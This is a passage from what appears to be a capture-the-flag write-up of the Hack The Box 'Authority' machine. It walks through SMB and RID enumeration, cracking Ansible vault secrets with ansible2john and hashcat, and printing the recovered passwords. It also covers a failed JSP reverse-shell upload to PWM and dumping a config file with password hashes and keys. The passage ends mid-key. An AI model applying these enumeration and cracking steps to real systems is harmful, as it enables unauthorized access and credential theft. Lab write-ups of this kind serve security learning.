&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	NETLOGON Logon server share 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;	SYSVOL Logon server share &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In Development I found Ansible holding four folders showing basic automation setup. Ansible is a general use, automation tool for admins. I looked through it manually and run some greps to look for passwords, creds, secrets and generally interesting data &lt;code&gt;grep -R &amp;quot;pass&amp;quot;&lt;/code&gt;. I found a lot of credentials of many kinds, even a bit of an overwhelming amount.
To complete enumeration of possible users I also started a rid bruteforce to check known users on the host. &lt;code&gt;netexec smb 10.129.20.218 -u guest -p '' --rid-brute&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;




&lt;div
 id="accordion-a0e11af03b1b690a0bb5838e602ed1b4"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;Users &amp;amp; groups&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;SMB 10.129.20.218 445 AUTHORITY 498: HTB\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 500: HTB\Administrator (SidTypeUser)
SMB 10.129.20.218 445 AUTHORITY 501: HTB\Guest (SidTypeUser)
SMB 10.129.20.218 445 AUTHORITY 502: HTB\krbtgt (SidTypeUser)
SMB 10.129.20.218 445 AUTHORITY 512: HTB\Domain Admins (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 513: HTB\Domain Users (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 514: HTB\Domain Guests (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 515: HTB\Domain Computers (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 516: HTB\Domain Controllers (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 517: HTB\Cert Publishers (SidTypeAlias)
SMB 10.129.20.218 445 AUTHORITY 518: HTB\Schema Admins (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 519: HTB\Enterprise Admins (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 520: HTB\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 521: HTB\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 522: HTB\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 525: HTB\Protected Users (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 526: HTB\Key Admins (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 527: HTB\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 553: HTB\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.20.218 445 AUTHORITY 571: HTB\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.20.218 445 AUTHORITY 572: HTB\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.20.218 445 AUTHORITY 1000: HTB\AUTHORITY$ (SidTypeUser)
SMB 10.129.20.218 445 AUTHORITY 1101: HTB\DnsAdmins (SidTypeAlias)
SMB 10.129.20.218 445 AUTHORITY 1102: HTB\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.20.218 445 AUTHORITY 1601: HTB\svc_ldap (SidTypeUser)
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-a0e11af03b1b690a0bb5838e602ed1b4 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-a0e11af03b1b690a0bb5838e602ed1b4 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-a0e11af03b1b690a0bb5838e602ed1b4 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-a0e11af03b1b690a0bb5838e602ed1b4 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-a0e11af03b1b690a0bb5838e602ed1b4");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;
A bit surprising, there are no real users, maybe besides &lt;code&gt;svc_ldap&lt;/code&gt;.&lt;/p&gt;

&lt;h3 class="relative group"&gt;DNS
 &lt;div id="dns" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;After that, I went and looked into DNS to learn more about the domain itself. I didn&amp;rsquo;t find much interesting information but I did notice that the name server was marked as &lt;code&gt;authority.authority.htb&lt;/code&gt; which is a weird naming convention, nonetheless I added it to the &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dig @authority.htb.comp 10.129.20.218 NS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;SNIP&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;;; ANSWER SECTION:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;authority.htb.		3600	IN	NS	authority.authority.htb.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;HTTP port leads only to the default IIS website. I didn&amp;rsquo;t enumerate directories or subdomains, however it could be a good option if I wouldn&amp;rsquo;t find other promising vectors to pivot.&lt;/p&gt;
&lt;p&gt;In Tomcat, I was greeted with this notice&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PWM is currently in configuration mode. This mode allows updating the configuration without authenticating to an LDAP directory first. End user functionality is not available in this mode.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;After you have verified the LDAP directory settings, use the Configuration Manager to restrict the configuration to prevent unauthorized changes. After restricting, the configuration can still be changed but will require LDAP directory authentication first.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;PWM is a pretty popular authentication tool for Tomcat. It&amp;rsquo;s clearly is not setup correctly and it doesn&amp;rsquo;t allow me to use LDAP to authenticate. Due to it being in the configuration mode, there are other ways to authenticate.&lt;/p&gt;
&lt;p&gt;Within them, I see another user, and another IP.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CN=svc_pwm,CN=Users,DC=htb,DC=corp (default) 	March 26, 2023 at 1:20:39 PM GMT 	10.129.204.183
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;n/a 	April 23, 2023 at 10:06:34 PM GMT 	&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I can&amp;rsquo;t sign-in to the tomcat itself because and I get prompted with this information.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Directory unavailable. If this error occurs repeatedly please contact your help desk. 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;5017 ERROR_DIRECTORY_UNAVAILABLE (all ldap profiles are unreachable; errors: [&amp;#34;error connecting as proxy user: unable to create connection: unable to connect to any configured ldap url, last error: unable to bind to ldaps://authority.authority.htb:636 as CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb reason: CommunicationException (authority.authority.htb:636; PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target)&amp;#34;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;I also can&amp;rsquo;t sign-in to the configuration page - I get the following error.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password incorrect. Please try again.&amp;amp;lt;span class=&amp;#34;errorDetail&amp;#34;&amp;amp;gt; { 5089 ERROR_PASSWORD_ONLY_BAD }&amp;amp;lt;/span&amp;amp;gt;&amp;lt;span class=&amp;#34;errorDetail&amp;#34;&amp;gt; { 5089 ERROR_PASSWORD_ONLY_BAD }&amp;lt;/span&amp;gt; { 5089 ERROR_PASSWORD_ONLY_BAD } 5089 ERROR_PASSWORD_ONLY_BAD&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After trying multiple combinations of credentials I went back into the Ansible files which I downloaded locally with &lt;code&gt;prompt OFF&lt;/code&gt;, &lt;code&gt;recurse ON&lt;/code&gt; and &lt;code&gt;mget *&lt;/code&gt; within the &lt;code&gt;smbclient&lt;/code&gt;. In the PWM folder I found these hashes which turned out to be encrypted ansible blobs.





&lt;div
 id="accordion-d1e43a8c08ba5e00fb145b73ab4416eb"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;Ansible blobs&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;pwm_admin_login: !vault |
 $ANSIBLE_VAULT;1.1;AES256
 32666534386435366537653136663731633138616264323230383566333966346662313161326239
 6134353663663462373265633832356663356239383039640a346431373431666433343434366139
 35653634376333666234613466396534343030656165396464323564373334616262613439343033
 6334326263326364380a653034313733326639323433626130343834663538326439636232306531
 3438

pwm_admin_password: !vault |
 $ANSIBLE_VAULT;1.1;AES256
 31356338343963323063373435363261323563393235633365356134616261666433393263373736
 3335616263326464633832376261306131303337653964350a363663623132353136346631396662
 38656432323830393339336231373637303535613636646561653637386634613862316638353530
 3930356637306461350a316466663037303037653761323565343338653934646533663365363035
 6531

ldap_uri: ldap://127.0.0.1/
ldap_base_dn: &amp;quot;DC=authority,DC=htb&amp;quot;
ldap_admin_password: !vault |
 $ANSIBLE_VAULT;1.1;AES256
 63303831303534303266356462373731393561313363313038376166336536666232626461653630
 3437333035366235613437373733316635313530326639330a643034623530623439616136363563
 34646237336164356438383034623462323531316333623135383134656263663266653938333334
 3238343230333633350a646664396565633037333431626163306531336336326665316430613566
 3764
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-d1e43a8c08ba5e00fb145b73ab4416eb &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-d1e43a8c08ba5e00fb145b73ab4416eb &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-d1e43a8c08ba5e00fb145b73ab4416eb details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-d1e43a8c08ba5e00fb145b73ab4416eb details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-d1e43a8c08ba5e00fb145b73ab4416eb");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;
It turns out, it&amp;rsquo;s possible to crack them up with &lt;code&gt;ansible2john&lt;/code&gt;, however it took some editing. &lt;a href="https://www.linkedin.com/posts/rflemen_how-to-decrypt-an-ansible-vault-activity-7301318643492007937-5wde" target="_blank" rel="noreferrer"&gt;This video&lt;/a&gt; helped me to make sure my syntax worked with hashcat. I then users &lt;code&gt;hashcat -m 16900&lt;/code&gt; to crack them and I got &lt;code&gt;!@#$%^&amp;amp;*&lt;/code&gt;. I wasn&amp;rsquo;t able to find the one specific vault, I only found the file the hashes were in using &lt;code&gt;grep -R &amp;quot;$ANSIBLE_VAULT;1.1;AES256&amp;quot;&lt;/code&gt; (each ansible vault does start with this specific string). After that I just went over each hash file and decrypt it with &lt;code&gt;ansible-vault view ansible1.hash --vault-password-file ansible-vault.pass&lt;/code&gt;. A note to take for sure is that Ansible is pretty picky with its syntax.&lt;br&gt;
After the decryption we got the following information.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pwm_admin_login: svc_pwm
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pwm_admin_password: pWm_@dm!N_!23
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldap_admin_password: DevT3st@123&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 class="relative group"&gt;Foothold
 &lt;div id="foothold" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h2&gt;

&lt;h3 class="relative group"&gt;svc_pwm
 &lt;div id="svc_pwm" class="anchor"&gt;&lt;/div&gt;
 
&lt;/h3&gt;
&lt;p&gt;With them, I wasn&amp;rsquo;t able to auth into LDAP of course, but I could enter the PWN login.&lt;/p&gt;
&lt;p&gt;After I looked through the dashboard I noticed I was able to download a copy of the local database called &lt;code&gt;PWM-LocalDB.bak&lt;/code&gt;.
From the configuration files and my instinct I think the point of the &lt;code&gt;authority.authority.htb&lt;/code&gt; is just to make tomcat misconfigured and simply changing it to &lt;code&gt;authority.htb&lt;/code&gt; would fix the issue.
If there will not be any interesting data in the database itself, there is also a way to upload a database. We know that the file would go into &lt;code&gt;c:\pwm\LocalDB&lt;/code&gt; which could be used for a webshell if the file verification is weak.&lt;/p&gt;
&lt;p&gt;The process to extract data from the MSSQL backup binary on Linux would be quite hard, I will leave it for the time being and try that webshell idea first.
As this runs Tomcat which uses Java I should look into Java JSP or maybe lastly ASP shells.&lt;/p&gt;
&lt;p&gt;I tried to install a rev_shell with the &lt;code&gt;.jsp&lt;/code&gt; extension, PWN does require it to be a GZIP format. I tried double extensions, changing the extension in BurpSuite as well as adjusting the content-type however I wasn&amp;rsquo;t able to upload it.&lt;/p&gt;
&lt;p&gt;I moved around and found that there are another import/upload options for the configuration file itself. I downloaded the configuration file and looked through it. Below are some very interesting finds.





&lt;div
 id="accordion-6da6b5915d164739b09ced423399ab47"
 class="border border-neutral-200 dark:border-neutral-700 rounded-lg overflow-hidden"
 data-accordion="collapse"
 data-accordion-separated="false"
&gt;
 


 










&lt;details
 class="group border-none"
 data-accordion-item
 
&gt;
 &lt;summary class="flex w-full cursor-pointer items-center justify-between gap-4 px-4 py-3 text-left text-lg font-semibold text-neutral-900 dark:text-neutral-100"&gt;
 &lt;span class="flex items-center gap-2"&gt;
 
 &lt;span class="relative block icon"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"&gt;
&lt;path fill="currentColor" d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/&gt;&lt;/svg&gt;&lt;/span&gt;
 
 &lt;span&gt;Configuration file finds&lt;/span&gt;
 &lt;/span&gt;
 &lt;span class="accordion-chevron ms-auto flex h-5 w-5 items-center justify-center print:hidden"&gt;
 &lt;span class="relative block icon"&gt;&lt;svg
 xmlns="http://www.w3.org/2000/svg"
 viewBox="0 0 20 20"
 fill="currentColor"
 aria-hidden="true"
&gt;
 &lt;path
 fill-rule="evenodd"
 d="M5.23 7.21a.75.75 0 011.06.02L10 11.168l3.71-3.938a.75.75 0 111.08 1.04l-4.25 4.5a.75.75 0 01-1.08 0l-4.25-4.5a.75.75 0 01.02-1.06z"
 clip-rule="evenodd"
 /&gt;
&lt;/svg&gt;
&lt;/span&gt;
 &lt;/span&gt;
 &lt;/summary&gt;
&lt;div class="px-4 pb-4 text-neutral-700 dark:text-neutral-300"&gt;
 &lt;pre&gt;&lt;code&gt;&amp;lt;property key=&amp;quot;configPasswordHash&amp;quot;&amp;gt;
$2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua
&amp;lt;/property&amp;gt;

&amp;lt;value&amp;gt;
CN=svc_ldap,OU=Service Accounts,OU=CORP,DC=authority,DC=htb
&amp;lt;/value&amp;gt;

&amp;lt;value&amp;gt;
ENC-PW:2G7ASAs2W4Y/XTfVMSsRtxxneQpeWaKaQaNsaIToSKlyqC1dVT2VXcqc1h3SiYtMTYfsZfkLaNHbjGfbQldz5EW7BqPxGqzMz+bEfyPIvA8=
&amp;lt;/value&amp;gt;

&amp;lt;setting key=&amp;quot;pwm.securityKey&amp;quot; modifyTime=&amp;quot;2022-08-11T01:46:23Z&amp;quot; syntax=&amp;quot;PASSWORD&amp;quot; syntaxVersion=&amp;quot;0&amp;quot;&amp;gt;
&amp;lt;label&amp;gt;
Settings ⇨ Security ⇨ Application Security ⇨ Security Key
&amp;lt;/label&amp;gt;
&amp;lt;value&amp;gt;
ENC-PW:7AJ39Hy6+a56Y3ppsO0J0KIXAFF7CBwO5IBODlXvH5gSmELLNpTgnWcbu5s/vU4JKue/Um6dkZm1RrcECBHk358zc045rDyFL2fDku2kusl79NE+Tww8gC8QQ0CX+VS2yyD46+ZS6Jriyu1Y7BOXnJifXXXsHzTmBTkodvnY33V6Puc0Zze0PGYHN+CGFtx/g5WaBTQbQwZwNLA+8Qe11GqCz+rBjGzQp0w6yLHJn+ZYBlLWgvZwN2KUHOiUIq5eKKDgjv+mga4zcB1STcpMJRaIiSnLdY3VCfsEj6p4BGz9jj+N7gQHBFAvI05JexXq8HyL7ZUEzLXU5FMQXvhhWSbhxoz7LH/iamvoOg13WnI3MRUzrXv91Uh7gdNZuXa1NmSBOe/g1GgmFV+0sxLIJ/99VT+GHIwrfjPNNV6jtKHhURPwp0a38c6aBGjpvB3AgAoZ0/KVLvQK1pAevO4NK2XFF2nPD8gQCQJMCsb62I+XMitkO2zKytrYEwZhl9VUGF0bAXQhC5I9xX1tEQAGBcENt1NGfM8iE+PlrZWwlr1yDjw+GZEm2KHyjnUFpBubqD7l7mvEJbEV26SQkR0v4R5LSEPbElOKGbGXMKkDEi53SQ5P0ZZQbega9XtBOHs+/s1EZ4p/qGVCvpD9dgc0SyS0auXU0PUddjxyXthHdqRbEWHhAduXYQgXF0eM2yWlbd7fTgSUMERlpjdFX/QZG3D6Ghp+iOCwfelEfKMQDO1myQcpq5YTE94YDz+aSWvi7ZGRIq+hRkwuR8E0EbEUE7CApDwF3LjGi+UEd9Y3Q9SPSMVxg4Ra2FB4sYCT19N7KV3TpGvJYD4SE8Mrn0cH9ihvlvDJFOxoLC9xM8FA9EAvSZN1w6lV4pUsVpUSM0LRKLqCmBCRJvaRNbhRymM96NFSSi4PwCCJQ7WVJjiS+oLQ+7qwHhqLQFy0+gtkGSQnBoq1FMYSCyGz/fUG84Xe0CSTPt4SwTq+L2M2jqsiB+HXq1z2LdkAFo6xm1Mqs6H/x5ZP1esjvRxDzHod31jRizu+rJw4LNRb172A36dQWmiq/OJQBJrnPu87s+KmoNyCJGrT2+1QttMgM62qy2/Eb6xByQ8RiLl6v87vf24TuWhxJhXfNWMRuHXJp2IWt5BWAYdiQNUjCuvRhfiyxsIqelpEpsOnm8WDVEsN0hqaEt9Db2e/d3Wpx1as4luVtA/MZtKy+gsH0qZUmouj7LCfN5TJpm00MiBTxYSkapKvAGchkE4UVc3AHGIxeyy+t2LwqT9fDSlS/VofOELNcQD3OfPi+asOrgaqcRbZVXdQumoJsubLMiPpHTZtOH2Nt13cEh9ZG/XebrAkchsMjsyLo5KX0nL6RKbMNUA3BmM2cd+bjj+Jar2aeAeqBdW+LU5ALshAsF986N1BGSsQ8aZkJwLi3PUYG8vGR88ZqEMMziQ=
&amp;lt;/value&amp;gt;
&amp;lt;/setting&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

 &lt;/div&gt;
&lt;/details&gt;

&lt;/div&gt;

&lt;style&gt;
 #accordion-6da6b5915d164739b09ced423399ab47 &gt; details + details {
 border-top: 1px solid rgb(var(--color-neutral-200));
 }
 .dark #accordion-6da6b5915d164739b09ced423399ab47 &gt; details + details {
 border-top-color: rgb(var(--color-neutral-700));
 }
&lt;/style&gt;

&lt;style&gt;
 #accordion-6da6b5915d164739b09ced423399ab47 details[data-accordion-item] &gt; summary .accordion-chevron {
 transform: rotate(-90deg);
 transition: transform 200ms ease-in-out;
 }
 #accordion-6da6b5915d164739b09ced423399ab47 details[data-accordion-item][open] &gt; summary .accordion-chevron {
 transform: rotate(0deg);
 }
&lt;/style&gt;

&lt;script&gt;
 (() =&gt; {
 const root = document.getElementById("accordion-6da6b5915d164739b09ced423399ab47");
 if (!root) return;
 const items = root.querySelectorAll("details[data-accordion-item]");
 items.forEach((item) =&gt; {
 item.addEventListener("toggle", () =&gt; {
 if (!item.open) return;
 items.forEach((other) =&gt; {
 if (other !== item) other.removeAttribute("open");
 });
 });
 });
 })();
&lt;/script&gt;


&lt;br&gt;
Given that the found user is &lt;code&gt;svc_ldap&lt;/code&gt; I think this is the path I should follow further.
We got an encrypted hash of a password as well as a security key of some kind, let&amp;rsquo;s read up on them.
So form I have gathered:
This is a bcrypt password hash
&lt;code&gt;$2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is a PWM master key&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;7AJ39Hy6+a56Y3ppsO0J0KIXAFF7CBwO5IBODlXvH5gSmELLNpTgnWcbu5s/vU4JKue/Um6dkZm1RrcECBHk358zc045rDyFL2fDku2kusl79NE+Tww8gC8QQ0CX+VS2yyD46+ZS6Jriyu1Y7BOXnJifXXXsHzTmBTkodvnY33V6Puc0Zze0PGYHN+CGFtx/g5WaBTQbQwZwNLA+8Qe11GqCz+rBjGzQp0w6yLHJn+ZYBlLWgvZwN2KUHOiUIq5eKKDgjv+mga4zcB1STcpMJRaIiSnLdY3VCfsEj6p4BGz9jj+N7gQHBFAvI05JexXq8HyL7ZUEzLXU5FMQXvhhWSbhxoz7LH/iamvoOg13WnI3MRUzrXv91Uh7gdNZuXa1NmSBOe/g1GgmFV+0sxLIJ/99VT+GHIwrfjPNNV6jtKHhURPwp0a38c6aBGjpvB3AgAoZ0/KVLvQK1pAevO4NK2XFF2nPD8gQCQJMCsb62I+XMitkO2zKytrYEwZhl9VUGF0bAXQhC5I9xX1tEQAGBcENt1NGfM8iE+PlrZWwlr1yDjw+GZEm2KHyjnUFpBubqD7l7mvEJbEV26SQkR0v4R5LSEPbElOKGbGXMKkDEi53SQ5P0ZZQbega9XtBOHs+/s1EZ4p/qGVCvpD9dgc0SyS0auXU0PUddjxyXthHdqRbEWHhAduXYQgXF0eM2yWlbd7fTgSUMERlpjdFX/QZG3D6Ghp+iOCwfelEfKMQDO1myQcpq5YTE94YDz+aSWvi7ZGRIq+hRkwuR8E0EbEUE7CApDwF3LjGi+UEd9Y3Q9SPSMVxg4Ra2FB4sYCT19N7KV3TpGvJYD4SE8Mrn0cH9ihvlvDJFOxoLC9xM8FA9EAvSZN1w6lV4pUsVpUSM0LRKLqCmBCRJvaRNbhRymM96NFSSi4PwCCJQ7WVJjiS+oLQ+7qwHhqLQFy0+gtkGSQnBoq1FMYSCyGz/fUG84Xe0CSTPt4SwTq+L2M2jqsiB+HXq1z2LdkAFo6xm1Mqs6H/x5ZP1esjvRxDzHod3